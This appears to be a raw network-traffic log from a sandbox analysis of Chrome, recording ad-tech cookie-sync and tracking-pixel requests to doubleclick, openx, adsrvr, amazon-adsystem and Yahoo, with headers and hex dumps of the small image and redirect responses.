2024-04-27 22:42:16 UTC	726	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=9c7c3f18-d1f6-8f84-81ed-5bca088abb16 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:17 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: X3ZV8MPNBPP8P8BRJJC5 Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:17 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:42:17 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	50311	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	758	OUT	GET /track/cmb/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSACKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:17 UTC	599	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Length: 335 Connection: close server: Kestrel location: https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0&gdpr_consent= set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:16 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.; expires=Sun, 27 Apr 2025 22:42:16 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:17 UTC	335	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 74 74 64 5f 70 75 69 64 3d 64 61 61 66 33 65 30 32 2d 30 62 63 63 2d 33 61 66 61 2d 37 65 62 36 2d 32 61 62 39 33 38 65 32 38 65 64 65 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 Data Ascii: Redirecting to: <a href="https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0&gdpr_consent=">https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.4	50317	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	806	OUT	GET /pixel?google_nid=rp&google_hm=TFZJT1NBMVctNy02RENN&google_push=&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:17 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:17 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.4	50319	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	754	OUT	GET /w/1.0/sd?id=537148856&val=Zi1-PgAAvwsNrQAF&_test=Zi1-PgAAvwsNrQAF HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:17 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.4	50318	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	877	OUT	GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:17 UTC	660	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1 Date: Sat, 27 Apr 2024 22:42:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 295 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:17 UTC	295	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 39 31 26 61 6d 70 3b 76 61 6c 3d 43 41 45 53 45 4c 66 74 53 36 31 53 57 79 30 56 52 50 34 69 6a 77 51 4f 77 4a 41 26 61 6d 70 3b 67 6f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&go

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.4	50316	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	771	OUT	GET /track/cmf/openx?oxid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSACKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:17 UTC	599	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Length: 335 Connection: close server: Kestrel location: https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0&gdpr_consent= set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:17 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.; expires=Sun, 27 Apr 2025 22:42:17 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:17 UTC	335	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 74 74 64 5f 70 75 69 64 3d 63 34 61 61 34 33 36 35 2d 63 64 35 63 2d 33 34 37 65 2d 34 31 65 33 2d 64 39 35 64 36 30 62 39 37 30 66 36 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 Data Ascii: Redirecting to: <a href="https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0&gdpr_consent=">https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	50169	54.165.249.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	838	OUT	GET /ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Ddxu%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=o2ksvWLN1S0QKf5
2024-04-27 22:42:17 UTC	784	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Sat, 27 Apr 2024 22:42:16 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=8&vsid=3572593249104590000V10&type=dxu&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=o2ksvWLN1S0QKf5 Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-00c157597dad20050@us-east-1b@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=o2ksvWLN1S0QKf5; Domain=.w55c.net; Expires=Tue, 27 May 2025 22:42:17 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchmedianet=5; Domain=.w55c.net; Expires=Mon, 27 May 2024 22:42:17 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	50321	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1089	OUT	GET /ddm/trackimp/N2189699.3349700DISPLAYVIDEO360/B31724224.392521620;dc_trk_aid=583921962;dc_trk_cid=213367934;ord=1714257735630;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=;gdpr_consent=;ltd=;dc_tdv=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:17 UTC	922	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Sat, 27 Apr 2024 22:42:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Location: https://ad.doubleclick.net/ddm/trackimp/N2189699.3349700DISPLAYVIDEO360/B31724224.392521620;dc_pre=CJD37du744UDFbYOiAkdT2wNjA;dc_trk_aid=583921962;dc_trk_cid=213367934;ord=1714257735630;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=;gdpr_consent=;ltd=;dc_tdv=1? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	50322	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	2129	OUT	GET /setuid?bidder=medianet&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3572593249104590000V10 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtO [TRUNCATED]
2024-04-27 22:42:17 UTC	1253	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Exp [TRUNCATED] vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:17 GMT x-envoy-upstream-service-time: 4 server: ATS
2024-04-27 22:42:17 UTC	408	IN	Data Raw: 78 2d 65 6e 76 6f 79 2d 64 65 63 6f 72 61 74 6f 72 2d 6f 70 65 72 61 74 69 6f 6e 3a 20 70 62 73 2d 2d 70 72 6f 64 75 63 74 69 6f 6e 2d 75 73 65 61 35 2e 6d 65 64 69 61 70 6c 61 74 66 6f 72 6d 2d 67 63 70 2d 70 72 6f 64 2d 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 73 76 63 2e 63 6c 75 73 74 65 72 2e 6c 6f 63 61 6c 3a 34 30 38 30 2f 2a 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 41 67 65 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 Data Ascii: x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*Referrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000Expect-CT: max-age=315360
2024-04-27 22:42:17 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

